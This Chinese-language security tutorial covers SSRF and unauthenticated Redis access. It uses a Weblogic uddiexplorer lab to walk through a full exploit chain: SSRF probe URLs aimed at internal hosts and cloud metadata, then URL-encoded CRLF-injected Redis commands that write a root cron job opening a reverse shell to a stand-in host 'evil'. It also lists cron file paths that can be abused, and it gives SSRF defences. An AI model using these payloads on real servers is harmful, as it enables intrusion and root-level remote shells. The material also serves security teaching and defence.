深入解析SSRF和Redis未授权访问

深入解析SSRF和Redis未授权访问：漏洞分析与防御

在网络安全领域，服务器端请求伪造（SSRF） 和 Redis未授权访问 是两类常见且危险的安全漏洞。

1.2 SSRF攻击的利用

1.2.1 测试并确认SSRF漏洞

一个典型的例子是，当应用程序允许用户输入一个外部URL来获取数据时，攻击者可以输入一个指向内部资源的URL，来测试是否存在SSRF漏洞。

http://127.0.0.1/admin
http://169.254.169.254/latest/meta-data/ # 获取AWS元数据

在应用程序没有对用户输入的URL进行严格校验的情况下，攻击者可以利用SSRF漏洞访问内部管理接口或者获取云平台的元数据信息。

Weblogic SSRF漏洞

Weblogic中存在一个SSRF漏洞，利用该漏洞可以发送任意HTTP请求，进而攻击内网中redis、fastcgi等脆弱组件。

测试环境搭建

编译及启动测试环境

docker compose up -d

访问http://127.0.0.1:7001/uddiexplorer/，无需登录即可查看uddiexplorer应用。

SSRF漏洞测试

SSRF漏洞存在于http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp，我们在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT，如http://127.0.0.1:80：

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

可访问的端口将会得到错误，一般是返回status code（如下图），如果访问的非http协议，则会返回`did not have a valid SOAP content-type`。

通过错误的不同，即可探测内网状态。

注入HTTP头，利用Redis反弹shell

Weblogic的SSRF有一个比较大的特点，其虽然是一个“GET”请求，但是我们可以通过传入%0a%0d来注入换行符，而某些服务（如redis）是通过换行符来分隔每条命令，也就说我们可以通过该SSRF攻击内网中的redis服务器。

首先，通过ssrf探测内网中的redis服务器（docker环境的网段一般是172.*），发现172.18.0.2:6379可以连通：

发送三条redis命令，将弹shell脚本写入`/etc/crontab`：

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

进行url编码：

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

注意，换行符是“\r\n”，也就是“%0D%0A”。

将url编码后的字符串放在ssrf的域名后面，发送：

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

最后也是成功反弹：

补充一下，可进行利用的cron有如下几个地方：

/etc/crontab 这个是肯定的
/etc/cron.d/* 将任意文件写到该目录下，效果和crontab相同，格式也要和/etc/crontab相同。漏洞利用这个目录，可以做到不覆盖任何其他文件的情况进行弹shell。
/var/spool/cron/root centos系统下root用户的cron文件
/var/spool/cron/crontabs/root debian系统下root用户的cron文件

1.3 SSRF的防御措施

限制请求的目的地：应用程序应严格限制外部请求的目标，避免请求内部资源，如localhost、127.0.0.1、内网IP等。
使用白名单机制：只允许访问预定义的外部资源，所有其他请求都应被拒绝。
加强URL校验：在接受用户输入的URL前，应该进行严格的校验，防止恶意URL被利用。
网络层面防护：使用防火墙或其他网络安全设备，阻止从应用服务器发出的可疑请求

二、Redis未授权访问漏洞解析

2.1 Redis未授权访问的基本概念

Redis是一种高性能的键值对存储系统，常用于缓存、消息队列等场景。如果Redis实例未设置访问控制（即未授权访问），攻击者可以直接连接到Redis实例并执行任意命令，从而读取、修改数据，甚至通过恶意命令执行攻击。

2.2 Redis未授权访问的利用

2.2.1 漏洞检测

攻击者可以通过扫描内网或公共网络，查找暴露的Redis实例。如果实例未设置密码，攻击者可以直接使用redis-cli连接到Redis实例，并执行命令。

info 可以查看redis信息
192.168.112.188:6379> info
# Server
redis_version:3.2.12
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:7897e7d0e13773f
redis_mode:standalone
os:Linux 3.10.0-1160.el7.x86_64 x86_64
arch_bits:64
multiplexing_api:epoll
gcc_version:4.8.5
process_id:4041
run_id:c8f79de1339bff6106652b1f3e64de2df1508b19
tcp_port:6379
uptime_in_seconds:19
uptime_in_days:0
hz:10
lru_clock:2727876
executable:/usr/bin/redis-server
config_file:/etc/redis.conf